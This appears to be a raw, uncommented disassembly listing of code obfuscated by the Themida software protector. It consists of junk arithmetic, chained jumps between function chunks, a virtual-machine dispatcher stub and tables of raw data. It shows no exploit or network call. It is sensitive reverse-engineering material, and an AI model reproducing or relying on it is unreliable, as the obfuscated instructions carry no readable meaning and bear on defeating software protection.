mov esi, 46A6BD9h
sub esi, eax
pop eax
sub ebp, 64903E5Bh
jmp loc_5586CB
; ---------------------------------------------------------------------------
mov cx, [esp]
push 789Eh
jmp loc_558AD3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C984: ; CODE XREF: sub_556A70-165j
pop ebp
and ebp, 74EF338Eh
push eax
mov eax, 298E040Bh
xor eax, 7B0611B4h
inc eax
jmp loc_556FD5
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55C99C: ; CODE XREF: Themida_:00558C0Ej
xor dh, 47h
shr dh, 2
jmp loc_5531F3
; ---------------------------------------------------------------------------
loc_55C9A7: ; CODE XREF: Themida_:0055BFC8j
mov [esp], edx
push esp
pop edx
push edi
jmp loc_555A50
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5582B3
loc_55C9B2: ; CODE XREF: sub_5582B3+2433j
add esi, edi
pop edi
add esi, 4
xchg esi, [esp+4+var_4]
pop esp
jmp loc_553517
; END OF FUNCTION CHUNK FOR sub_5582B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C9C1: ; CODE XREF: sub_556A70+645j
mov ebx, 24F75D55h
jmp loc_555174
; ---------------------------------------------------------------------------
loc_55C9CB: ; CODE XREF: sub_556A70+1EF7j
add eax, 1BE040E6h
mov edi, [esp+0Ah+var_C+2]
add esp, 4
xor eax, [esp+6+var_8+2]
xor [esp+6+var_8+2], eax
xor eax, [esp+6+var_8+2]
jmp loc_5574BA
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
push 5D02h
mov [esp], esi
mov esi, 400h
or [edi+1Ch], esi
mov esi, [esp]
jmp loc_552B29
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C9FC: ; CODE XREF: sub_556A70-1ECEj
add ebp, eax
pop eax
xchg ebp, [esp-8+arg_4]
jmp loc_5532A4
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_55CA07: ; CODE XREF: sub_5566B9-1E81j
mov eax, [esp+0Ch+var_C]
jmp loc_559602
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559F87
loc_55CA0F: ; CODE XREF: sub_559F87-85BAj
add esp, 4
jmp loc_552267
; END OF FUNCTION CHUNK FOR sub_559F87
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CA1A: ; CODE XREF: sub_556A70+2EE0j
push edx
mov edx, 24487463h
jmp loc_551244
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55CA25: ; CODE XREF: Themida_:0055BD19j
mov ebp, 46DF201Ah
push edi
mov edi, 35F00716h
jmp loc_550DE7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CA35: ; CODE XREF: sub_556A70+1F2j
add esi, 4
xchg esi, [esp-8+arg_4]
pop esp
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp-8+arg_4]
pop esp
jmp loc_55CE5C
; ---------------------------------------------------------------------------
loc_55CA51: ; CODE XREF: sub_556A70+F45j
mov edi, esp
add edi, 4
push ecx
push eax
mov eax, 12C7713Dh
dec eax
shr eax, 3
not eax
jmp loc_55770B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55CA6B: ; CODE XREF: Themida_:0055966Cj
push ebx
push dword ptr [esp+4]
jmp loc_552D07
; ---------------------------------------------------------------------------
loc_55CA75: ; CODE XREF: Themida_:00554E4Aj
pop edi
sub ecx, esi
mov esi, [esp]
add esp, 4
xor eax, ecx
mov ecx, [esp]
jmp loc_55C6AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558AE7
loc_55CA8B: ; CODE XREF: sub_558AE7-4088j
add esp, 4
jmp loc_555830
; END OF FUNCTION CHUNK FOR sub_558AE7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_55CA93: ; CODE XREF: sub_5584F8-7558j
add [esp-4+arg_4], edx
sub [esp-4+arg_4], 563C6DCFh
pop edx
mov eax, [esp-8+arg_4]
jmp loc_552375
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CAA8: ; CODE XREF: sub_556A70+1BEFj
and edi, 0B50AE2h
dec edi
push esi
push ebp
mov ebp, 0FFEC0005h
mov esi, ebp
pop ebp
add edi, esi
pop esi
add eax, edi
mov edi, [esp+10h+var_10]
add esp, 4
jmp loc_55A113
; ---------------------------------------------------------------------------
loc_55CAC9: ; CODE XREF: sub_556A70+C96j
xchg edi, [esp+10h+var_10]
jmp loc_5557D3
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov ecx, [esp]
push ebx
push esp
pop ebx
push edi
push esi
jmp loc_556973
; ---------------------------------------------------------------------------
loc_55CADE: ; CODE XREF: Themida_:00558086j
add edi, ebx
jmp loc_5591F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55AE6E
loc_55CAE5: ; CODE XREF: sub_55AE6E-1620j
pop ax
neg dl
jmp loc_55B226
; END OF FUNCTION CHUNK FOR sub_55AE6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558D0E
loc_55CAEE: ; CODE XREF: sub_558D0E+13j
add ebp, 0EB80F484h
mov edx, ebp
mov ebp, [esp+0Ch+var_C]
add esp, 4
or edx, 66C43759h
push edi
push ebx
jmp loc_55133C
; END OF FUNCTION CHUNK FOR sub_558D0E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CB0C: ; CODE XREF: sub_556A70+167Bj
push esi
mov esi, 4
add eax, esi
pop esi
push ecx
push ebp
mov ebp, 427D6FA0h
jmp loc_55A12B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55CB21: ; CODE XREF: Themida_:0055C602j
add eax, edi
pop edi
sub eax, edx
jmp loc_557D2A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552E24
loc_55CB2B: ; CODE XREF: sub_552E24+1j
push 22B33A4Eh
pop ebx
jmp loc_55B0C8
; END OF FUNCTION CHUNK FOR sub_552E24
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5539DB
loc_55CB36: ; CODE XREF: sub_5539DB-265Dj
mov [esp+0Ch+var_C], esi
push ebx
push 414B076Fh
jmp loc_5587AF
; END OF FUNCTION CHUNK FOR sub_5539DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CB44: ; CODE XREF: sub_556A70-5A40j
mov esi, ebp
jmp loc_5563F1
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_55A30D
; ---------------------------------------------------------------------------
lodsb
push bx
mov bl, 0EBh
sub al, bl
jmp loc_550ADF
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_552F58
; ---------------------------------------------------------------------------
loc_55CB69: ; CODE XREF: Themida_:005559C0j
add esp, 4
push edi
mov edi, eax
mov ebx, edi
jmp loc_5590BA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5563FF
loc_55CB76: ; CODE XREF: sub_5563FF+9j
pop ebx
xor ebp, [esp-4+arg_0]
xor [esp-4+arg_0], ebp
xor ebp, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
imul cl
movzx cx, ah
push ecx
mov ecx, esp
add ecx, 4
sub esp, 4
jmp loc_55C6E0
; END OF FUNCTION CHUNK FOR sub_5563FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CB9D: ; CODE XREF: sub_556A70+EFCj
pop ebx
add ebp, edx
pop edx
and eax, ebp
push dword ptr [esp+0]
mov ebp, [esp+4+var_4]
jmp loc_55400C
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55CBAE: ; CODE XREF: Themida_:0055C469j
neg edx
sub edx, 0A5A97592h
jmp loc_553EFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CBBB: ; CODE XREF: sub_556A70+2AAj
mov ecx, 624162A5h
sub edi, ecx
pop ecx
pop eax
add edi, 3EF7630Bh
add ebp, edi
pop edi
push ecx
jmp loc_556CF1
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55CBD3: ; CODE XREF: Themida_:00550DF5j
pop edx
sub eax, edi
add eax, 5CEC5F75h
pop edi
sub eax, ebp
push ecx
mov ecx, 6820380h
jmp loc_55136E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CBE9: ; CODE XREF: sub_556A70-32Ej
push eax
jmp loc_5523AC
; ---------------------------------------------------------------------------
loc_55CBEF: ; CODE XREF: sub_556A70+B69j
push 5400h
mov [esp-16h+arg_10+2], edx
sub esp, 4
jmp loc_557996
; ---------------------------------------------------------------------------
loc_55CBFF: ; CODE XREF: sub_556A70+F06j
xor ch, 0D1h
sub ch, 7
shl ch, 4
push ebx
mov bh, 75h
shl bh, 2
dec bh
or bh, 19h
jmp loc_5550A1
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55CC18: ; CODE XREF: Themida_:0055BEE7j
mov esi, 2
add eax, esi
pop esi
xchg eax, [esp]
pop esp
movsx cx, al
push eax
jmp loc_5541E2
; ---------------------------------------------------------------------------
loc_55CC2E: ; CODE XREF: Themida_:0055A325j
mov edx, 38C35FEDh
add edx, 0C82060h
jmp loc_558B72
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CC3E: ; CODE XREF: sub_556A70+3B1Fj
neg edi
jmp loc_556AD7
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55CC45: ; CODE XREF: Themida_:0055A961j
push ebp
mov ebp, 4
add eax, ebp
mov ebp, [esp]
add esp, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_5574AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CC69: ; CODE XREF: sub_556A70-3E1j
idiv cl
movzx cx, ah
push small 4E1h
mov word ptr [esp+0Eh+var_10+2], cx
movzx cx, al
push cx
pushf
jmp loc_55C1A2
; ---------------------------------------------------------------------------
loc_55CC83: ; CODE XREF: sub_556A70-2243j
mov [esp-10h+arg_C], ebx
mov ebx, 4
jmp loc_555530
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_55CC90 proc near ; CODE XREF: sub_556A70-4B98j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005510C9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00552884 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00552FAD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005563DE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055887D SIZE 0000003F BYTES
sub esp, 4
jmp loc_5563DE
sub_55CC90 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CC98: ; CODE XREF: sub_556A70+448Aj
add esp, 4
push edx
mov edx, 24756452h
dec edx
shr edx, 5
jmp loc_55680C
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55AE6E
loc_55CCAA: ; CODE XREF: sub_55AE6E+1j
mov bh, 0BBh
not bh
not bh
not bh
add bh, 0A5h
jmp loc_55499E
; END OF FUNCTION CHUNK FOR sub_55AE6E
; ---------------------------------------------------------------------------
loc_55CCBA: ; CODE XREF: Themida_:005534ACj
add edi, 4
add edi, 4
jmp loc_558F0B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_55CCCB: ; CODE XREF: sub_5584F8-49ACj
xor edx, 0CE15F3Dh
xor edx, 78013835h
mov ebx, edx
pop edx
jmp loc_55A8D0
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CCDF: ; CODE XREF: sub_556A70+2FEEj
push 7512h
jmp loc_55BB05
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55CCE9: ; CODE XREF: Themida_:0055261Dj
mov ecx, 2
add edx, ecx
jmp loc_556C44
; ---------------------------------------------------------------------------
loc_55CCF5: ; CODE XREF: Themida_:00555EC0j
pop ecx
xchg ebp, [esp]
pop esp
mov [esp], eax
mov eax, 43090677h
jmp loc_5562A1
; ---------------------------------------------------------------------------
loc_55CD07: ; CODE XREF: Themida_:00558746j
mov ebp, esp
push ecx
mov ecx, 9E878ECh
not ecx
add ecx, 9E878F1h
add ebp, ecx
jmp loc_557DF9
; ---------------------------------------------------------------------------
loc_55CD1E: ; CODE XREF: Themida_:00551A2Cj
add eax, 4
sub eax, 2
push eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_553B0C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552E24
loc_55CD39: ; CODE XREF: sub_552E24-1F4Dj
add ebp, ecx
pop ecx
mov ebx, ebp
pop ebp
jmp loc_559C8D
; END OF FUNCTION CHUNK FOR sub_552E24
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CD44: ; CODE XREF: sub_556A70+148j
mov ecx, 0
mov ebp, ecx
pop ecx
sub esp, 4
mov [esp+24h+var_24], ebp
mov ebx, [esp+24h+var_24]
add esp, 4
pop ebp
jmp loc_55339D
; ---------------------------------------------------------------------------
loc_55CD61: ; CODE XREF: sub_556A70-32CAj
xor dh, cl
push [esp+4+var_4]
pop ecx
add esp, 4
xor al, dh
jmp loc_555696
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55ABA3
loc_55CD74: ; CODE XREF: sub_55ABA3+Dj
dec ebp
push edx
mov edx, 6C300F1Eh
xor ebp, edx
mov edx, [esp+8+var_8]
jmp loc_550CE4
; END OF FUNCTION CHUNK FOR sub_55ABA3
; ---------------------------------------------------------------------------
loc_55CD85: ; CODE XREF: Themida_:005535C6j
add [esp], eax
push eax
push 39041E9Bh
pop eax
sub [esp+4], eax
mov eax, [esp]
add esp, 4
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CD9E: ; CODE XREF: sub_556A70+542Fj
add edi, 4EEE1766h
pop ecx
jmp loc_55B3C5
; ---------------------------------------------------------------------------
loc_55CDAA: ; CODE XREF: sub_556A70-46A3j
sub dh, 8
jmp loc_550A58
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55CDB2: ; CODE XREF: Themida_:00550CDFj
pop esp
sub al, 84h
sub al, bl
add al, 84h
push ebx
mov bh, 0E6h
not bh
push eax
mov al, 87h
jmp loc_5550F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553D17
loc_55CDC6: ; CODE XREF: sub_553D17-311Fj
mov dl, 12h
sub bl, dl
pop edx
jmp loc_5566D3
; END OF FUNCTION CHUNK FOR sub_553D17
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55A6CD
loc_55CDD7: ; CODE XREF: sub_55A6CD-DAFj
xor ebp, 5DA67C9Bh
jmp sub_558D0E
; END OF FUNCTION CHUNK FOR sub_55A6CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CDE2: ; CODE XREF: sub_556A70+3DEj
mov edx, [esp+0]
push edx
mov edx, esp
add edx, 4
jmp loc_55C4A8
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55CDF3: ; CODE XREF: Themida_:005583C4j
add esi, 18C92C1Fh
add esi, edx
sub esi, 18C92C1Fh
jmp loc_55A475
; ---------------------------------------------------------------------------
loc_55CE06: ; CODE XREF: Themida_:005538E3j
mov [esp], eax
jmp loc_55B1B7
; ---------------------------------------------------------------------------
push dword ptr [edi+2Ch]
jmp loc_55BE76
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CE16: ; CODE XREF: sub_556A70+B98j
pop edi
mov ebp, ecx
pop ecx
push [esp-22h+arg_1C+2]
pop edx
jmp loc_554C7C
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55CE23: ; CODE XREF: Themida_:0055A8CBj
pop ecx
add ebx, ebp
pop ebp
push edi
mov edi, 2
jmp loc_55A4FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55B88F
loc_55CE32: ; CODE XREF: sub_55B88F+Aj
pop ecx
pop [esp+4+var_4]
pop esp
test ecx, eax
pushf
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_55B88F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55B730
loc_55CE3F: ; CODE XREF: sub_55B730-783Aj
; sub_553651+1663j
push ecx
push esp
jmp loc_555ABB
; END OF FUNCTION CHUNK FOR sub_55B730
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CE46: ; CODE XREF: sub_556A70+363Fj
xor eax, ebp
jmp sub_5567EA
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp], cl
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CE5C: ; CODE XREF: sub_556A70+5FDCj
add esp, 4
jmp loc_55A724
; ---------------------------------------------------------------------------
loc_55CE67: ; CODE XREF: sub_556A70+4ADFj
push dword ptr [eax]
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55CE6E: ; CODE XREF: Themida_:005588CAj
neg edx
shr edx, 4
add edx, 0FFCFC833h
add eax, edx
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5580B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CE8C: ; CODE XREF: sub_556A70+3982j
push ecx
mov ecx, 2
add esi, ecx
jmp loc_55977B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov ax, [esp]
push 2AFDh
mov [esp], edx
jmp loc_553AEA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CEAA: ; CODE XREF: sub_556A70+3118j
add [esp-1Eh+arg_18+2], 4
pop edi
push edx
mov edx, 4
jmp loc_55259F
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55CEBA: ; CODE XREF: Themida_:00558273j
mov ebp, [esp]
push eax
mov eax, esp
jmp loc_553C73
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CEC5: ; CODE XREF: sub_556A70+410j
shl dword ptr [esp+0], cl
pushf
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55CECE: ; CODE XREF: Themida_:00557E05j
add eax, 1420253Eh
jmp loc_55AD80
; ---------------------------------------------------------------------------
mov eax, [esp]
jmp loc_5573F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CEE0: ; CODE XREF: sub_556A70+509Fj
pop esi
jmp loc_55C051
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55CEE6: ; CODE XREF: Themida_:005557BDj
push edx
push ebx
push 6DB6h
mov [esp], edi
mov edi, 356BA5h
xor edi, 4A6D7510h
mov ebx, edi
pop edi
neg ebx
add ebx, 4A581EB9h
mov edx, ebx
pop ebx
add ebp, edx
mov edx, [esp]
add esp, 4
push ecx
jmp loc_55742F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55CF17: ; CODE XREF: sub_556A70+2E22j
neg di
jmp loc_556EC6
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
db 66h
dd 5124048Bh, 81E78957h, 4C7h, 4EF8100h, 87000000h, 0E95C243Ch
dd 0FFFFDEAFh
; ---------------------------------------------------------------------------
loc_55CF3C: ; CODE XREF: Themida_:0055B1DCj
pop eax
push ebx
jmp loc_55A009
; ---------------------------------------------------------------------------
loc_55CF43: ; CODE XREF: Themida_:0055A4A4j
push eax
mov eax, 6E0741DDh
jmp loc_556C38
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559F2D
loc_55CF4E: ; CODE XREF: sub_559F2D+29D2j
push [esp+4+var_4]
jmp loc_5567C3
; END OF FUNCTION CHUNK FOR sub_559F2D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558AE7
loc_55CF56: ; CODE XREF: sub_558AE7-960j
mov eax, ebx
jmp loc_554A45
; END OF FUNCTION CHUNK FOR sub_558AE7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_55CF5D: ; CODE XREF: sub_5584F8-2E7j
push edx
push 5B7B58E1h
mov edx, [esp+0Ch+var_C]
jmp loc_559213
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_55CF6B: ; CODE XREF: Themida_:0055B5A5j
pop ebp
jmp loc_559D19
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5521AC
loc_55CF71: ; CODE XREF: sub_5521AC+63ECj
push edx
mov dl, 9Fh
add bl, dl
pop edx
jmp loc_559A78
; END OF FUNCTION CHUNK FOR sub_5521AC
; ---------------------------------------------------------------------------
loc_55CF7C: ; CODE XREF: Themida_:0055C5D4j
pop edx
mov ecx, [esp]
add esp, 4
or bl, 0B1h
inc bl
and bl, 27h
not bl
or bl, 0BEh
push edx
mov dl, 6Ah
sub dl, 0B0h
add dl, 44h
shr dl, 1
add dl, 19h
jmp loc_558E76
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_55CFA6: ; CODE XREF: sub_5584F8+8DAj
sub ecx, ebx
pop ebx
push edi
mov edi, 1793530Ch
and edi, 5EAE3578h
inc edi
jmp loc_55B8D9
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_55CFBB: ; CODE XREF: Themida_:00557BD2j
pop edx
xor eax, edi
pop edi
add edi, eax
jmp loc_55A568
; ---------------------------------------------------------------------------
dw 304h
dd 8B7FFEh, 69DD0000h, 59CB00A2h, 66030000h, 59CB005Bh
dd 8BDF005Bh, 217FA40h, 20000h, 10000h, 20000h, 8BDF0000h
dd 0FA40h, 4 dup(0)
dd 0D5BB0000h, 4B970056h, 8FB90056h, 40A90056h, 1EDC0056h
dd 0D5CC0056h, 26B0055h, 0C7A20056h, 4A1A0056h, 6A1B0056h
dd 0A7A20056h, 9C90056h, 9CC30057h, 55E30056h, 70040056h
dd 1870056h, 0E9B70056h, 0FB3F0055h, 17910055h, 0F3A30056h
dd 6D930056h, 95F30056h, 242E0056h, 0EA810056h, 0F1F40056h
dd 5FEF0055h, 2ECF0056h, 7E590056h, 16000056h, 0DB970057h
dd 0EDF90055h, 718A0055h, 68550056h, 7C5A0056h, 0AF20056h
dd 0F3180057h, 0BC3D0056h, 0D5550056h, 0E8A60055h, 0E100055h
dd 251D0057h, 0ED930056h, 0F8690056h, 0C80F0056h, 4FA30056h
dd 74840056h, 0B0110056h, 0E2120056h, 4CD50056h, 0DFB20056h
dd 0C0E40056h, 5E580056h, 0C1B00056h, 184D0056h, 0A0300057h
dd 0C9300056h, 256F0056h, 7A680056h, 29F50056h, 8680057h
dd 6FF80056h, 3F8D0056h, 3C7A0056h, 8FA30056h, 0F7650056h
dd 19F80055h, 0D59B0056h, 8590055h, 141E0056h, 2F880057h
dd 3C600056h, 5E50056h, 13470057h, 0CBB30056h, 2E4F0056h
dd 0D1A50056h, 16D90056h, 9AC80056h, 6E320056h, 1EFA0056h
dd 0C080057h, 0B1780057h, 452D0056h, 5AAD0056h, 0D1360056h
dd 0C10056h, 35E50057h, 19070056h, 412B0056h, 0B1DB0056h
dd 0BF2D0056h, 6AB20056h, 93A50056h, 735A0056h, 24280056h
dd 0FE6C0057h, 0A2540056h, 325E0056h, 68DE0056h, 0EDF20056h
dd 208B0056h, 86F90056h, 23210056h, 0F0E20056h, 790E0056h
dd 0C53A0056h, 0AB590056h, 62F00056h, 6FDE0056h, 18C20056h
dd 0FB190057h, 126B0056h, 7ED80056h, 10C0056h, 77B90057h
dd 70D20056h, 6F520056h, 453E0056h, 1DF20056h, 67220057h
dd 0B94B0056h, 5B20056h, 15A90056h, 9DA20056h, 0AC7D0056h
dd 83C0056h, 62E20057h, 14F50056h, 61A10057h, 8ED50056h
dd 0F6A70056h, 0F63A0055h, 0FA630056h, 135A0055h, 9D9B0056h
dd 55D40056h, 0E7FB0056h, 72F70055h, 5800056h, 14C0056h
dd 0EF9F0057h, 48250055h, 3E410056h, 2F210056h, 0E2E30056h
dd 0ECB20055h, 0D9F70056h, 14A70055h, 0F2870056h, 45600056h
dd 170A0056h, 0A12E0056h, 1BFF0056h, 78D70056h, 50E00056h
dd 0E8010056h, 51020055h, 0D8430056h, 63250056h, 0A3590056h
dd 7D90056h, 0E3F60057h, 8F1B0056h, 0E72E0056h, 67760055h
dd 3AD20056h, 56150056h
db 56h, 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_55D2A6: ; CODE XREF: sub_59DB3D+123j
; sub_59DB3D+12Dj ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 61546CFh
mov eax, edi
add edi, 61543E7h
cmp eax, [edi+2Ch]
jnz short loc_55D2C4
jmp short loc_55D2D7
; ---------------------------------------------------------------------------
loc_55D2C4: ; CODE XREF: sub_59DB3D-4087Dj
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_55D2D3
; ---------------------------------------------------------------------------
loc_55D2CE: ; CODE XREF: sub_59DB3D-40868j
add [edi+ecx*4+40h], eax
dec ecx
loc_55D2D3: ; CODE XREF: sub_59DB3D-40871j
or ecx, ecx
jnz short loc_55D2CE
loc_55D2D7: ; CODE XREF: sub_59DB3D-4087Bj
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_55D2E4: ; CODE XREF: sub_59DB3D-40852j
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_55D2E4
loc_55D2ED: ; CODE XREF: Themida_:0055D40Ej
; Themida_:loc_55D413j ...
lodsb
add al, 6Ch
push ecx
mov ch, 92h
push edi
mov edi, esp
jmp loc_55F46F
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_55D2FB: ; CODE XREF: Themida_:00562A05j
mov edi, 25AB21DBh
mov ebx, edi
mov edi, [esp]
jmp loc_55EAE0
; ---------------------------------------------------------------------------
loc_55D30A: ; CODE XREF: Themida_:005727FEj
push edi
mov edi, 448742C3h
and eax, edi
jmp loc_570EB7
; ---------------------------------------------------------------------------
loc_55D317: ; CODE XREF: Themida_:00564FFEj
mov ah, bh
jmp loc_564035
; ---------------------------------------------------------------------------
loc_55D31E: ; CODE XREF: Themida_:0056E1A3j
add esi, 2
xchg esi, [esp]
jmp loc_56BF00
; ---------------------------------------------------------------------------
loc_55D329: ; CODE XREF: Themida_:00569365j
sub esp, 4
mov [esp], edx
jmp loc_55EF31
; ---------------------------------------------------------------------------
loc_55D334: ; CODE XREF: Themida_:0055E75Aj
xor ecx, [esp]
pop esp
or eax, eax
jz loc_563C3B
push dword ptr [edi+1Ch]
push esi
mov esi, 18B74D08h
jmp loc_569675
; ---------------------------------------------------------------------------
loc_55D34E: ; CODE XREF: Themida_:0056A6B7j
mov [esp], ebx
mov bh, cl
push eax
jmp loc_5611BB
; ---------------------------------------------------------------------------
loc_55D359: ; CODE XREF: Themida_:00571618j
add edx, 4
xchg edx, [esp]
jmp loc_560224
; ---------------------------------------------------------------------------
loc_55D364: ; CODE XREF: Themida_:0056C1A4j
push ebp
mov ebp, esp
push edx
mov edx, 5A7239E0h
jmp loc_5724F0
; ---------------------------------------------------------------------------
loc_55D372: ; CODE XREF: Themida_:0055F1B8j
add esp, 4
pop edx
mov ecx, [esp]
add esp, 4
add al, bl
mov ebx, [esp]
add esp, 4
push dx
push eax
mov ah, 6Dh
push eax
push ebx
push 7288h
jmp loc_5657D3
; ---------------------------------------------------------------------------
loc_55D39E: ; CODE XREF: Themida_:0056D69Aj
pop dword ptr [esp]
mov esp, [esp]
add al, dl
push dword ptr [esp]
mov edx, [esp]
jmp loc_55F455
; ---------------------------------------------------------------------------
loc_55D3B1: ; CODE XREF: Themida_:00565481j
add esp, 4
push esi
mov esi, 7EE00BCBh
push ecx
mov ecx, 195E7CDBh
xor esi, ecx
pop ecx
push edi
mov edi, 47A42295h
jmp loc_56A33A
; ---------------------------------------------------------------------------
